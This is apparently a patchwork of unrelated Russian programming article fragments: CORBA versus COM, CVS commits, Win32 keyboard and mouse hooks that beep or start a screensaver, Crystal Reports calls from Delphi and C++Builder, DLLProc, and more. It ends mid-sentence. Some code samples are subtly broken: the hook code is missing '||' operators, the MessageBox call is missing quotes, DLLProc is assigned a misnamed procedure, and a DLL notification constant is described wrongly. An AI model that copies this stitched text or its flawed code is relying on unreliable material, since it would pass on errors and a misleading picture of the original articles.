JavaBeans. Несмотря на свою сравнительно недолгую историю, EJB привлекла к себе пристальное внимание, и несколько крупных поставщиков решений в области промежуточного ПО уже анонсировали свои продукты на базе новой компонентной модели. Эта популярность отражает общую тенденцию - индустрия промежуточного ПО движется в сторону управления взаимодействием объектов и компонентов, к объединению объектной философии и принципов традиционного промежуточного ПО типа мониторов транзакций.
    В итоге появляются продукты нового типа - так называемые объектные мониторы транзакций (object transactional monitor, ОТМ), можно также встретить термин . По оценкам GartnerGroup, уже в 1999 году эти системы будут доминировать в качестве средств межпрограммного взаимодействия при разработке новых распределенных приложений. По прогнозам, сделанным этой компанией в середине прошлого года, в начале третьего тысячелетия львиная доля всех новых корпоративных клиент-серверных архитектур будет базироваться на ОТМ-платформах от четырех основных поставщиков - Microsoft, Oracle, IBM и Вea. Из них три системы, Oracle Network Computing Architecture (NCA), IBM Component Broker и Вea Iceberg, опираются на технологию CORBA, а ударной силой платформы Microsoft Distributed interNet Applications (DNA) станет спецификация СОМ+. Возможно, в группу лидеров войдут и системы на базе EJB. Будущее объектно-ориентированных программ связано с моделями СОМ и CORBA. Пока для сложных неоднородных распределенных сред наиболее предпочтительным кандидатом остается строгая многоплатформенная архитектура CORBA, возможно, с интеграцией СОМ для взаимодействия с настольными Windows-системами. Удастся ли СОМ+ потеснить уважаемую CORBA на рынке корпоративных приложений, как будут развиваться отношения между технологиями (то есть средства их интеграции друг с другом и одновременную поддержку в продуктах) и как впишутся в эту гонку лидеров новые Java-технологии - покажет время.

    Фиксирование изменений

    Теперь, когда вы синхронизировали свои исходники с коллегами и протестировали их, вы готовы поместить свои изменения в репозиторий и сделать их видимыми остальным разработчикам. Единственный файл, который вы изменили -- это `httpc.c', но в любом случае можно без опаски запустить cvs update, чтобы получить от CVS список модифицированных файлов: $ cvs update cvs update: Updating . M httpc.c $ Как и ожидалось, единственный файл, который упоминает CVS -- это `httpc.c'; CVS говорит, что этот файл содержит изменения, которые еще не были зафиксированы. Вы можете зафиксировать их так: $cvs commit httpc.c В этом месте CVS запустит ваш любимый текстовый редактори попросит вас ввести описание изменений. После того, как вы выйдете из редактора, CVS зафиксирует ваши изменения: Checking in httpc.c; /u/src/master/httpc/httpc.c,v <-- httpc.c new revision: 1.8; previous revision: 1.7 $ Заметьте, что теперь вы зафиксировали ваши изменения и они видны всем остальным членам группы. Когда другой разработчик исполняет cvs update, CVS внесет ваши изменения в файлы в его рабочем каталоге.

    Формальное описание архитектуры и проблемы реализации

    Обе технологии описываются в спецификациях, но статус, степень детализации и принципы написания этих документов сильно различаются. CORBA определяется с помощью формализованной спецификации, написанной на языке IDL. Появлению очередной версии предшествуют четко организованный процесс адаптации нового стандарта, который обычно завершается быстрее, чем аналогичные процедуры в ISO. В результате CORBA может похвастаться значительным числом реализаций. Первоначальный вариант спецификации появился в 1991 году, и уже в 1992-м был выпущен коммерческий продукт - брокер объектных запросов DEC ObjectBroker. Спецификация CORBA - это строго организованное описание, не обремененное деталями реализации, которые оставляются на долю разработчиков конкретных продуктов. Обилие реализаций от разных поставщиков с одной стороны стимулирует конкуренцию и, как следствие, совершенствование технологии, но с другой - порождает проблемы несовместимости разнородных продуктов. Так, спецификация CORBA включает определение Basic Object Adapter, который обеспечивает доступ к сервисам брокера объектных запросов со стороны сервера объекта. Эта часть спецификации оказалась слишком общей, так что разработчики получили слишком большую степень свободы в реализации собственных объектных адаптеров. В итоге, часто оказывалось невозможно перенести серверные компоненты архитектуры с одного ORB на другой. В новой спецификации переносимого объектного адаптера (Portable Object Adapter, POA) делается исправить этот недостаток. Различные брокеры запросов взаимодействуют между собой по протоколу General Inter ORB Protocol (GIOP). В связи с активным переносом в среду Web критически важных корпоративных приложений наибольший интерес представляет реализация протокола GIOP на базе TCP/IP - протокол Internet Inter ORB Protocol (IIOP). Спецификация СОМ разработана Microsoft, принадлежит Microsoft и контролируется только Microsoft. В отличие от CORBA, это не столь строго организованный документ. Деталей в описании достаточно, однако они не всегда уместны.
    Так, например, в спецификации подробно определяется модель Connectable Objects, которая лежит в основе механизма обработки событий в Visual Basic, но не имеет явной поддержки в самой СОМ. А раздел описания библиотеки типов, необходимого компонента для динамического вызова методов, не содержит практически никаких подробностей реализации, и разработчику приходится искать их в других источниках, например, в документации по SDK для ОС Windows. До недавних пор реализации СОМ принадлежали только самой Microsoft. И это можно счесть ее преимуществом, поскольку не возникало проблем несовместимости продуктов разных поставщиков. Сейчас этот вопрос может стать актуальным, если Microsoft действительно заинтересована в реализации СОМ другими производителями. Усомниться же в такой заинтересованности заставляет ее усовершенствованная версия, СОМ+, которая вводит в данную объектную модель ряд важных функций и служб, доступных только на платформах Microsoft. Обе спецификации постепенно все больше и больше разрастаются. Так, постоянно растет число поддерживаемых API-интерфейсов в архитектуре СОМ. В CORBA становится все больше IDL-интерфейсов, описывающих новые службы. И это усложняет задачу поддержания документов в согласованном и удобном для использования виде, и для одной компании, как в случае СОМ, и тем более для целого конгломерата организаций, который представляет собой Консорциум OMG. В CORBA, некоторые службы, например, Collections и Queries, перекрываются по реализуемым функциям, и существует сразу три стандарта, описывающих базовые концепции метамодели - Object Management Architecture, Meta-Object Facility и Business Object Facility.

    Формальные методы

    Этот миф можно считать в некоторой степени частным случаем предыдущего. Он гласит, что именно формальные методы способны стать движущей силой "усовершенствования процессов", в частности, облегчить решение проблем безопасности и надежности ПО. На деле формальные методы - это не более чем математически строгая демонстрация наличия у разрабатываемого ПО некоторых желаемых свойств абстрактной природы. Формальные методы позволяют делать заключения об отсутствии логически некорректного, плохо определенного и рассогласованного поведения, которое в принципе может присутствовать в спецификации. Конечно, внедрение формальных методов имеет смысл, однако необходимо четко понимать, что возможности их применения весьма ограничены. Не говоря уже о том, что использовать формальные методы сложнее, и обходится это недешево.

    Fun, Fast and Flexible Qt Script

    Авторы: Reginald Stadlbauer & Monica Vittring
    Перевод: Andi Peredri Qt Script for Applications (QSA) - это инструментарий, обеспечивающий поддержку сценариев в приложениях, написанных на С++. QSA включает интерпретатор для языка Qt Script, который основан на ECMAScript (JavaScript). Программы, написанные с использованием Qt Script, имеют полный доступ к интерфейсу прикладного программирования (API) Qt и к любому API, который разработчики приложения захотят предоставить пользователям.

    Функции

    Flora/C+ обеспечивает высокотехнологичную среду, программные компоненты и инструментальные средства, необходимые для разработки, отладки, исполнения и поддержки приложений различного типа. Flora/C+ разрабатывалась как объектно-ориентированная система автоматизации разработки программ широкого класса - от обработки событий реального времени и массовых потоков транзакций до визуализации объектов реального мира и диалогового доступа к базам данных. Средства Flora/C+ не только предоставляют разнообразный набор инструментов, необходимых для эффективной разработки программ, но также определяют технологию организации вычислительного процесса, управляющего исполнением программ. В основе идеологии архитектуры Flora/C+ лежит нелинейная структура памяти, организованная в виде дерева объектов (Objects Tree), узлами которого могут быть элементарные типы данных и производные от них, встроенные объекты, пользовательские объекты, программы и задачи. Управление деревом объектов выполняется объектной машиной (Objects Engine).

    Функция ловушки клавиатуры.

    Функция ловушки в общем виде имеет следующий синтаксис: LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam), где: HookProc - имя функции, nCode - код ловушки, его конкретные значения определяются типом ловушки, wParam, lParam - параметры с информацией о сообщении. В случае нашей задачи функция должна определять состояние клавиш Alt, Ctrl и Shift (нажаты или отпущены). Информация об этом берётся из параметров wParam и lParam (подробности в "Win32 Programmer's Reference" в подразделе "KeyboardProc"). После определения состояния клавиш надо сравнить его со способом переключения языка (определяется в функции входа). Если текущая комбинация клавиш способна переключить язык, то надо выдать звуковой сигнал. Всё это реализует примерно такой код: LRESULT CALLBACK KeyboardHook(int nCode,WPARAM wParam,LPARAM lParam) { // Ловушка клав. - биканье при перекл. раскладки if((lParam>>31)&1) // Если клавиша нажата... switch(wParam) {// Определяем какая именно case VK_SHIFT: {iShiftKey=UP; break}; case VK_CONTROL: {iCtrlKey=UP; break}; case VK_MENU: {iAltKey=UP; break}; } else// Если была отпущена... switch(wParam) {// Определяем какая именно case VK_SHIFT: {iShiftKey=DOWN; break}; case VK_CONTROL: {iCtrlKey=DOWN; break}; case VK_MENU: {iAltKey=DOWN; break}; } //-------------- switch(KEYBLAY) // В зависимости от способа переключения раскладки { case 1: // Alt+Shift { if(iAltKey==DOWN && iShiftKey==UP) { vfBeep(); iShiftKey=RESET; } if(iAltKey==UP && iShiftKey==DOWN) { vfBeep(); iAltKey=RESET; } ((iAltKey==UP && iShiftKey==RESET)(iAltKey==RESET &&
    iShiftKey==UP)) { iAltKey=RESET; iShiftKey=RESET; } break; } //------------------------------------ case 2: // Ctrl+Shift { if(iCtrlKey==DOWN && iShiftKey==UP) { vfBeep(); iShiftKey=RESET; } if(iCtrlKey==UP && iShiftKey==DOWN) { vfBeep(); iCtrlKey=RESET; } if((iCtrlKey==UP && iShiftKey==RESET)(iCtrlKey==RESET &&
    iShiftKey==UP)) { iCtrlKey=RESET; iShiftKey=RESET; } } } return 0; } Звуковой сигнал выдаётся такой небольшой функцией: void vfBeep() {// Биканье MessageBeep(-1); MessageBeep(-1);// Два раза - для отчётливости }

    Функция ловушки мыши.

    Эта функция отслеживает движение курсора мыши, получает его координаты и сравнивает их с координатами правого верхнего угла экрана (0,0). Если эти координаты совпадают, то вызывается хранитель экрана. Для отслеживания движения анализируется значение параметра wParam, а для отслеживания координат значение, находящееся в структуре типа MOUSEHOOKSTRUCT, на которую указывает lParam (подробности можно найти в "Win32 Programmer's Reference" в подразделе "MouseProc"). Код, реализующий вышесказанное, примерно такой: LRESULT CALLBACK MouseHook(int nCode,WPARAM wParam,LPARAM lParam) { // Ловушка мыши - включает хранитель когда в углу if(wParam==WM_MOUSEMOVE wParam==WM_NCMOUSEMOVE) { psMouseHook=(MOUSEHOOKSTRUCT*)(lParam); if(psMouseHook->pt.x==0 && psMouseHook->pt.y==0) if(bSCRSAVEACTIVE) PostMessage(psMouseHook->hwnd,WM_SYSCOMMAND, SC_SCREENSAVE,0); } return 0; } Обратите внимание, что команда на активизацию хранителя посылается в окно, получающее сообщения от мыши: PostMessage(psMouseHook->hwnd,WM_SYSCOMMAND,SC_SCREENSAVE ,0). Теперь, когда функции ловушек написаны, надо сделать так, чтобы они были доступны из процессов, подключающих эту библиотеку. Для этого перед функцией входа следует добавить такой код: extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardHook(int,WPARAM,LPARAM); extern "C" __declspec(dllexport) LRESULT CALLBACK MouseHook(int,WPARAM,LPARAM);

    Функция WinMain.

    Последний этап - написание функции WinMain в которой будет создаваться главное окно, устанавливаться значок в системную область панели задач, ставиться и сниматься ловушки. Код её должен быть примерно такой: WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow) { MSG msg; //---------------- hLib=LoadLibrary("SSHook.dll"); if(hLib) { (void*)pKeybHook=GetProcAddress(hLib,"KeyboardHook"); hKeybHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)(pKeybHook), hLib,0);// Ставим ловушки (void*)pMouseHook=GetProcAddress(hLib,"MouseHook"); hMouseHook=SetWindowsHookEx(WH_MOUSE,(HOOKPROC)(pMouseHook), hLib,0); //------------------------------- if (InitApplication(hInstance,nCmdShow))// Если создали главное окно { vfSetTrayIcon(hInstance);// Установили значок while (GetMessage(&msg,(HWND)(NULL),0,0)) {// Цикл обработки сообщений TranslateMessage(&msg); DispatchMessage(&msg); } //---------------------------------- Всё - финал UnhookWindowsHookEx(hKeybHook); // Снимаем ловушки UnhookWindowsHookEx(hMouseHook); FreeLibrary(hLib);// Отключаем DLL vfResetTrayIcon();// Удаляем значок return 0; } } return 1; } После написания этой функции можно смело запускать полностью готовое приложение.

    Historical Server

    Historical Server собирает информацию о производительности ASE 11.5 и SQL Server 11.0.x и записывае ее в файл для последующего анализа. Адмимнистраторы могут "проигрывать" данные в той последовательности, как они были записаны воспользоваться Historical Server для обобщения данных с разной степенью детализации. Эти данные могут быть обработаны desktop средствами анализа или помещены в таблицы ASE.
    Итоговые данные полезны для исследования тенденций в использовании ресурсов. Планирование емкости, анализ тенденций, отчеты и эталонное тестирование являются той деятельностью, которая может принести существенную пользу для совершенствования системы на базе ASE.
    Подробные данные о производительности полезны для трассировки причин нерегулярных или текущих проблем, для стабильности общей производительности ASE и для создания эталонов для будущих тестов.

    Идея (hello.c)

    Изучение нового языка программирования начинается, как правило, с написания простенькой программы, выводящей на экран краткое приветствие типа "Hello World!". Например, для C это будет выглядить приблизительно так. main() { printf("Hello World!\n"); } Показательно, но совершенно не интересно. Программа, конечно работает, режим защищенный, но ведь для ее функционирования требуется ЦЕЛАЯ операционная система. А что если написать такой "Hello World", для которого ничего не надо. Вставляем дискетку в компьютер, загружаемся с нее и ..."Hello World". Можно даже прокричать это приветствие из защищенного режима. Сказано - сделано. С чего бы начать?.. Набраться знаний, конечно. Для этого очень хорошо полазить в исходниках Linux и Thix. Первая система всем хорошо знакома, вторая менее известна, но не менее полезна. Подучились? ... Понятно, что сперва надо написать загрузочный сектор для нашей мини-опрерационки (а ведь это именно мини-операционка). Поскольку процессор грузится в 16-разрядном режиме, то для созджания загрузочного сектора используется ассемблер и линковщик из пакета bin86. Можно, конечно, поискать еще что-нибудь, но оба наших примера используют именно его и мы тоже пойдет по стопам учителей. Синтаксис этого ассемблера немколько странноватый, совмещающий черты, характерные и для Intel и для AT&T (за подробностями направляйтесь в Linux-Assembly-HOWTO), но после пары недель мучений можно привыкнуть.

    Информационные системы в архитектуре клиент-сервер.

    Системы в архитектуре клиент-сервер устроены так, что исполняемый код одновременно находится и на сервере, и на клиенте. Как правило, серверной стороной выступает какой-либо SQL-сервер, например, от компании Oracle, Informix, Borland, Microsoft, IBM и др., а задачей клиентского места является диалоговая работа с пользователем, формирование запросов, получение и отображение результатов. В настоящее время существуют развитые средства скоростной разработки систем в такой архитектуре. Одним из таких наиболее удачных инструментов является Borland Delphi. Компонентный подход к разработке клиентского места в Delphi существенно ускоряет проектирование всей системы в целом. В Delphi имеются визуальные и невизуальные компоненты. Визуальные компоненты предназначены для проектирования элементов интерфейса, а невизуальные - для сборки из готовых компонент алгоритмической части, включая запросы, обработку таблиц и т.д.
    В отличие от систем в архитектуре файл-сервер (концепция разделяемого винчестера), обработка данных в системах с архитектурой клиент-сервер в основном происходит на серверной стороне. Однако клиентское место имеет доступ к метаданным, определяющим структуру таблиц и т.д. Запросы и получение данных в системах с архитектурой клиент-сервер происходит при помощи драйверов данных (в случае Delphi - SQL Links), которые умеют работать с соответствующими SQL серверами, посылая запросы, производя коннект, получая результирующие наборы данных. Информационные системы в архитектуре клиент-сервер. Рисунок 1. Классическая архитектура клиент-сервер

    Инструменты

    Как известно, Windows CE рассчитана на самые разные устройства, это серьезно осложняет жизнь создателям средств разработки. Поскольку Windows CE совместима с различными ЦП и предусматривает множество вариантов настройки, причем для каждого из них применяется свой API, необходим какой-то способ передачи конкретной среде разработки информации о целевой платформе. Для решения этой задачи Microsoft подготовила целый набор пакетов разработки для Windows CE, некоторые из них совместимы со всеми платформами, а другие ориентированы только на обычные и профессиональные ручные ПК. Эти инструменты предназначены для применения в среде Windows NT. Разработка программ происходит в среде Developer Studio с помощью одного из упомянутых ниже языков. Готовая программа выполняется на Windows CE-устройстве, подключенном к ПК разработчика либо через последовательный порт, либо через локальную сеть. Соединение через последовательный порт - стандартный способ подключения в Windows CE, применяемый для синхронизации данных между ними и ПК. Сетевые соединения обеспечивают гораздо более высокую скорость загрузки, чем первый способ, но, к сожалению, некоторые инструменты отладки отказываются работать, если Windows CE-устройство подключено таким образом. Microsoft предлагает версии языков Visual C++, Visual Basic и Visual J++ для одной или нескольких платформ Windows CE. Имеющиеся ныне версии Visual Basic и Visual J++ для Windows CE ориентированы только на обычные и профессиональные ручные ПК. В настоящее время для подготовки программ, рассчитанных на другие платформы, пригодна лишь версия Visual C++, совместимая с любой из них. Поэтому в нашей статье мы рассмотрим только среду программирования Visual C++, хотя не исключено, по множеству причин читатель предпочтет какой-то другой из языков. Прежде чем приступить к разработке программы для Windows CE на языке Си или Си++, нужно установить стандартную версию Visual C++ (5.0 или 6.0) для настольных ПК, а затем расширение Visual C++ для Windows CE, которое поставляет Microsoft.
    Оно содержит компиляторы для всех возможных ЦП, с которыми работает Windows CE, а также версии MFC и ATL, рассчитанные на устройства РПК. Это расширение позволяет составлять программы и для ПК, просто благодаря ему увеличивается перечень целевых платформ и появляется возможность разработки приложений для Windows CE. Кроме того, для компиляции Windows CE-программы, ориентированной на конкретную платформу, по-прежнему необходимы include- и lib-файлы, поэтому, если программа предназначена для стандартной горизонтальной платформы, следующим шагом будет установка конкретного комплекта SDK для нее. Такие SDK для разных платформ бесплатно предоставляет Microsoft, и их можно переписать с Web-узла компании (www.microsoft.com/windowsce/downloads/pccompanions/default.asp). В комплект поставки пакета Visual C++ для Windows CE обычно входит компакт-диск с SDK для РПК, но все же стоит проверить, нет ли на Web-узле компании более свежей версии. Для переноса Windows CE на новую аппаратную платформу Microsoft предлагает еще один инструмент - Windows CE Platform Builder - преемник набора Embedded Toolkit, который применялся в более ранних версиях Windows CE. С помощью данного инструмента можно представить операционную систему в формате библиотеки объектов, с тем чтобы разработчик разбил ее на компоненты и подготовил версию этой ОС для конкретной платформы. В состав Platform Builder входят также инструменты для формирования SDK, рассчитанного на конкретную платформу, для которой подготавливается разбитая на компоненты операционная система. Те программисты, которые разрабатывают программы для РПК или других горизонтальных платформ, вполне обойдутся без Platform Builder, но его, несомненно, стоит порекомендовать серьезным авторам Windows CE-приложений. Этот сложный набор инструментов обеспечивает бесценную информацию об архитектуре Windows CE. Позднее мы поговорим о Platform Builder подробнее.

    Интеграция со средствами разработки ПО

    Обычно, программный продукт проходит стадии разработки, представленные на рис.3.
    Рис. 3. Стадии разработки ПО В [24] описан способ, позволяющий уменьшить общее время разработки программного продукта за счет объединения средств тестирования и отладки. Такую возможность предоставляет отладчик Pilot (Kvatro Telecom). Подобное совмещение обладает следующими преимуществами:
  • сразу выявляются ошибки в тесте;
  • имеется возможность генерировать тесты в процессе отладки;
  • результаты теста сразу обрабатываются и в случае ошибки передаются отладчику, который интерактивно воспроизводит этот тест. Средства поддержки отладки могут закладываться на стадии написания исходного текста и компиляции. Во время написания исходного текста в программный продукт может закладываться псевдо-агент - набор функций, осуществляющих некоторые отладочные действия. Для отладки с использованием исходных текстов приложения, необходимо при компиляции генерировать дополнительную информацию, состоящую из описаний символов программы (переменные, функции, типы) и псевдо-символов, позволяющих отладчику определять адреса строк исходного текста, адреса секций, и.т.д.
    При мониторинге особое внимание уделяется работе псевдоагентов, которые закладываются в код программы на этапе компиляции. Для их успешной работы по сбору необходимой информации требуется наличие на целевой машине ряда функций, вызываемых псевдо-агентами. Эти функции могут быть собраны в одну библиотеку, так называемую библиотеку доступа (access library). В [20] описывается средство работы с псевдо-агентами - "Alamo monitor". На Рис.5 приведена его архитектура.
    Рис. 5. Alamo monitor Координатор мониторинга посылает запросы псевдо-агенту и производит фильтрацию полученной информации.
    Рис. 6. Получение информации от псевдо-агента В зависимости от возможностей, предоставляемых библиотекой доступа, изменяется и роль псевдо-агентов. Возможна ситуация, когда на целевой стороне присутствует только агент доставки данных из буфера, а все данные поставляются псевдо-агентами. Такой подход уменьшает воздействие отладчика на систему, так как все отладочные действия заложены при компиляции, и агент отладки только передает данные менеджеру по мере заполнения буфера, то есть не влияет на ход выполнения отлаживаемых задач. Имеется и другое применение псевдо-агентов. При помощи встраивания в код программы некоторого некорректно работающего блока, можно моделировать критические ситуации и анализировать поведение задачи или всей системы в таких ситуациях.

    Internet-ресурсы

    Официальный сервер Object Management Group
    С описанием проектов на базе CORBA можно познакомиться на Web-узле
    Один из разработчиков спецификации CORBA и автор посвященных этой технологии классических трудов Алан Поуп имеет свою страницу
    Microsoft поддерживает "домашнюю страницу СОМ"
    Интересную информацию по распределенным объектным технологиям от Microsoft можно найти на сервере

    Использование Crystal Reports ActiveX.

    В комплект поставки Crystal Reports Professional входят также ActiveX-компонент для управления Run-time-версией Crystal Reports. Этот компонент ax.bmp может быть установлен в палитру компонентов Delphi или С++Builder и далее может быть использован при проектировании приложений, как и любой невизуальный компонент. Этот компонент обладает набором свойств и методов, более или менее сходным с соответствущим VCL-компонентом TCrpe. В качестве иллюстрации выполним тот же пример, что и в предыдущем случае, но с использованием Crystal Reports ActiveX. Создадим форму, содержащую ActiveX-компонент TCrystalReport, а так же две кнопки и компонент TEdit: Рис.6. Пример использования Crystal Reports ActiveX Crystal Reports ActiveX обладает весьма удобным редактором свойств, позволяющим определить ряд опций уже готового отчета. Рис.7. Редактор свойств Crystal Reports ActiveX Создадим обработчик события, связанного с нажатием на кнопку "Открыть отчет" procedure TForm1.Button1Click(Sender: TObject); begin if edit1.text='' then CrystalReport1.SelectionFormula:='' else CrystalReport1.SelectionFormula:='{items.ItemNo} = ' + Edit1.Text; if not (CrystalReport1.PrintReport=0) then ShowMessage('Ошибка открытия отчета'); end; В результате нажатия пользователем на кнопку пользователь получает в окне отчета записи, в которых значение поля ItemNo равно введенному пользователем числу (то есть то же самое, что изображено на рис.4). Отметим, что Crystal Reports ActiveX можно с успехом использовать в приложениях, созданных с помощью любого другого средства разработки, использующего управляющие элементы ActiveX. Отметим также, что для пользователей Delphi 1.0 в комплекте поставки 16-разрядной версии Crystal Reports Professional имеется сходный по функциональности управляющий элемент VBX, который также может быть установлен в палитру компонентов и использован в 16-разрядных приложениях. Таким образом, на сегодняшний день существует довольно богатый выбор способов, с помощью которых можно управлять отчетами Crystal Reports из средств разработки - как с использованием вызовов функций Print Engine API, так и с использованием OLE-технологии.

    Использование Crystal Reports Print Engine API в C++Builder.

    Для объявления функций Print Engine следует добавить в проект заголовочный файл CRPE.H, в котором объявлены все функции и структуры Print Engine API, и сослаться на него в тексте модуля, в котором из библиотеки CRPE32 DLL вызываются эти функции. Исходный текст примера, подобного рассмотренному выше примеру для Delphi, имеет следующий вид: //------------------------------------------- #include #pragma hdrstop #include "U1.h" #include "crpe.h" //------------------------------------------- #pragma package(smart_init) #pragma resource "*.dfm" TForm1 *Form1; int JN; //------------------------------------------- __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { } //------------------------------------------- void __fastcall TForm1::Button1Click(TObject *Sender) { if (OpenDialog1->Execute()) { PEOpenEngine(); JN=PEOpenPrintJob((OpenDialog1->FileName).c_str()); if (JN==0) ShowMessage("Ошибка открытия отчета"); } } //------------------------------------------- void __fastcall TForm1::Button2Click(TObject *Sender) { PEClosePrintJob(JN); PECloseEngine(); Close(); } //------------------------------------------- void __fastcall TForm1::Button3Click(TObject *Sender) { PEOutputToWindow(JN,"Пример использования Crystal Reports Print Engine",30,30,600,400,0,0) ; if (!PEStartPrintJob(JN,1)) ShowMessage("Ошибка вывода отчета"); } //------------------------------------------- Отметим, что имя файла отчета, являющееся свойством компонента TOpenDialog, принадлежит к типу ANSIString, являющемуся классом С++Builder, созданным для совместимости с библиотекой VCL. Поэтому и в этом случае перед вызовом функций Print Engine API также требуется преобразование к стандартному для языка С++ строковому типу переменной, содержащей имя файла отчета.

    Использование Crystal Reports Print Engine API в Delphi.

    Для объявления функций Print Engine следует добавить в проект модуль CRPE32.PAS (или CRPE.PAS в случае использования версии Delphi 1.0), в котором объявлены все функции и структуры Report Engine API и сослаться на этот модуль в предложении uses. Все эти функции содержатся в библиотеке CRPE32 DLL ( CRPE DLL). После объявления функций их можно использовать внутри кода обработчиков событий. Рассмотрим простейший пример использования Print Engine API. Для этой цели создадим форму, содержащую три кнопки и один компонент TOpenDialog следующего вида (рис. 1). Рис. 1. Пример использования Print Engine API . В качестве значения свойства Filter компонента TOpenDialog рекомендуется выбрать расширение *.rpt. Создадим следующий код обработчиков событий, связанных с нажатием на кнопки: unit crU1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, CRPE32; type TForm1 = class(TForm) Button1: TButton; Button2: TButton; Button3: TButton; OpenDialog1: TOpenDialog; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; JN:word; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); VAR RepNam:PChar; begin if OpenDialog1.Execute then begin If PEOpenEngine then begin RepNam := StrAlloc(80); StrPCopy(RepNam, OpenDialog1.Filename); JN := PEOpenPrintJob(RepNam); if JN = 0 then ShowMessage('Ошибка открытия отчета'); StrDispose(RepNam); end else ShowMessage('Ошибка открытия отчета'); end; end; procedure TForm1.Button2Click(Sender: TObject); begin PEClosePrintJob(JN); PECloseEngine; Close; end; procedure TForm1.Button3Click(Sender: TObject); begin begin PEOutputToWindow(jn,'Пример использования Crystal Reports Print Engine',30,30,600,400,0,0) ; if PEStartPrintJob(JN, True) = False then ShowMessage('Ошибка вывода отчета'); end; end; end. При нажатии на первую из кнопок производится выбор файла отчета с помощью стандартного диалога открытия файлов.
    При нажатии на вторую кнопку производится запуск Run-time-версии Crystal Reports и отображение отчета в стандартном окне (рис. 2): Рис. 2. Отображение отчета с помощью функции PEStartPrintJob . Следует помнить, что строковые параметры, передаваемые в функции Print Engine API, представляют собой тип данных PChar, а не стандартные строки, используемые в Pascal, поэтому для передачи таких параметров, как, например, имя отчета, следует осуществить преобразование типов с помощью функции StrPCopy. Отметим, что с помощью функций Print Engine API можно изменять довольно широкий спектр параметров отчета (Selection Formula, SQL Query, условия группировки и сортировки, параметры, связанные с печатью и отображением). Напомним также, что для успешной компиляции подобных приложений файл CRPE32.PAS должен находиться в том же каталоге, что и разрабатываемое приложение, либо в каталоге Delphi 3\Lib.

    Использование DLLProc

    Выше я уже говорил о том, что код инициализации динамической библиотеки может быть помещен в блок begin...end. Однако кроме этого зачастую необходимо предусмотреть некоторые действия, выполняемые в процессе выгрузки DLL из оперативной памяти. В отличии от других типов модулей, модуль DLL не имеет ни секции initialization, ни секции finalization. К примеру, вы можете динамически выделить память в главном блоке, однако не понятно, где эта память должна быть освобождена. Для решения этой проблемы существует DLLProc - специальная процедура, вызываемая в определенные моменты функционирования DLL. Для начала следует сказать о самой причине существования DLLProc. Динамическая библиотека получает сообщения от Windows в моменты своей загрузки и выгрузки из оперативной памяти, а также в тех случаях, когда какой-нибудь очередной процесс, использующий функции и/или ресурсы, хранящиеся в библиотеке, загружается в память. Такая ситуация возможно в том случае, когда библиотека необходима для функционирования нескольких приложений. А для того, чтобы вы имели возможность указывать, что именно должно происходить в такие моменты, необходимо описать специальную процедуру, которая и будет ответственна за такие действия. К примеру, она может выглядеть следующим образом: procedure MyFirstDLLProc(Reason: Integer); begin if Reason = DLL_PROCESS_DETACH then {DLL is unloading. Cleanup code here.} end; Однако системе совершенно не очевидно, что именно процедура MyFirstDllProc ответственна за обработку рассмотренных выше ситуаций. Поэтому вы должны поставить в соответствие адрес нашей процедуры глобальной переменной DLLProc. Это необходимо сделать в блоке begin...end примерно так: begin DLLProc := @MyDLLProc; { Что-нибудь еще, что должно выполняться в процессе инициализации библиотеки } end. Ниже представлен код, демонстрирующий один из возможных вариантов применения DLLProc. library MyFirstDLL; uses SysUtils, Classes, Forms, Windows; var SomeBuffer : Pointer; procedure MyFirstDLLProc(Reason: Integer); begin if Reason = DLL_PROCESS_DETACH then {DLL is выгружается из памяти. Освобождаем память, выделенную под буфер.} FreeMem(SomeBuffer); end; procedure HelloWorld(AForm : TForm); begin MessageBox(AForm.Handle, Hello world!', DLL Message Box', MB_OK or MB_ICONEXCLAMATION); end; {Какой-нибудь код, в котором используется SomeBuffer.} exports HelloWorld; begin {Ставим в соответствие переменной DLLProc адрес нашей процедуры.} DLLProc := @MyFirstDLLProc; SomeBuffer := AllocMem(1024); end. Как можно увидеть, в качестве признака того или иного события, в результате которого вызывается процедура MyFirstDll, является значение переменной Reason. Ниже приведены возможные значения этой переменной. DLL_PROCESS_DETACH - библиотека выгружается из памяти; используется один раз; DLL_THREAD_ATTACH - в оперативную память загружается новый процесс, использующий ресурсы и/или код из данной библиотеки; DLL_THREAD_DETACH - один из процессов, использующих библиотеку, "выгружается" из памяти.

    Использование компонентов третьих фирм.

    В качестве примера рассмотрим компоненту фирмы . Этот компонент поставляется в виде отдельного пакета. Для его включения в палитру компонентов следует в выбрать в меню Delphi 3 пункт Component / Install Packages... В диалоговой панели Project Options нужно выбрать страницу Packages, в которой нужно нажать на кнопку Add и в появившемся диалоге Add Design Package выбрать файл crysdc15.dpc (Package collection) из комплекта поставки компонент SupraSoft. После инсталляции и закрытия с помощью кнопки OK диалога Project Options в палитре компонентов появится дополнительная страница Supra с единственным компонентом TCrystalDesign supr_ico.bmp. Этот компонент, в отличие от компонента TCrpe, является визуальным и позволяет отображать "живые" данные из отчета непосредственно на этапе проектирования формы, которая при этом фактически заменяет собой стандартное окно Crystal Reports Run-time на этапе выполнения. Функциональность этого компонента и возможности динамического управления отчетом на этапе выполнения примерно те же, что и у компонента TCrpe. В качестве иллюстрации создадим пример, аналогичный предыдущему, поместив на форму компонент TEdit, две кнопки и компонент TCrystalDesign. Создадим следующий обработчик события, связанного с нажатием на одну из кнопок: procedure TForm1.Button1Click(Sender: TObject); begin CrystalDesign1.ResetContent:=true; if edit1.text='' then CrystalDesign1.SelectionFormula.Clear else CrystalDesign1.SelectionFormula.Add('{items.ItemNo} = ' + Edit1.Text); CrystalDesign1.Active:=True; end; Отметим, что метод ResetContent компонента TCrystalDesign закрывает отчет, чем в данном случае мы и воспользовались. Результат работы данного примера приведен на рис. 5. Рис. 5. Результат установки значения поля SelectionFormula на этапе выполнения. К сожалению, оба компонента, и TCrpe, и TCrystalDesign, поставляются на сегодняшний день только в варианте для Delphi, и не могут быть установлены в палитру компонентов C++Builder, так как поставляются без исходных текстов. Однако с помощью функций Print 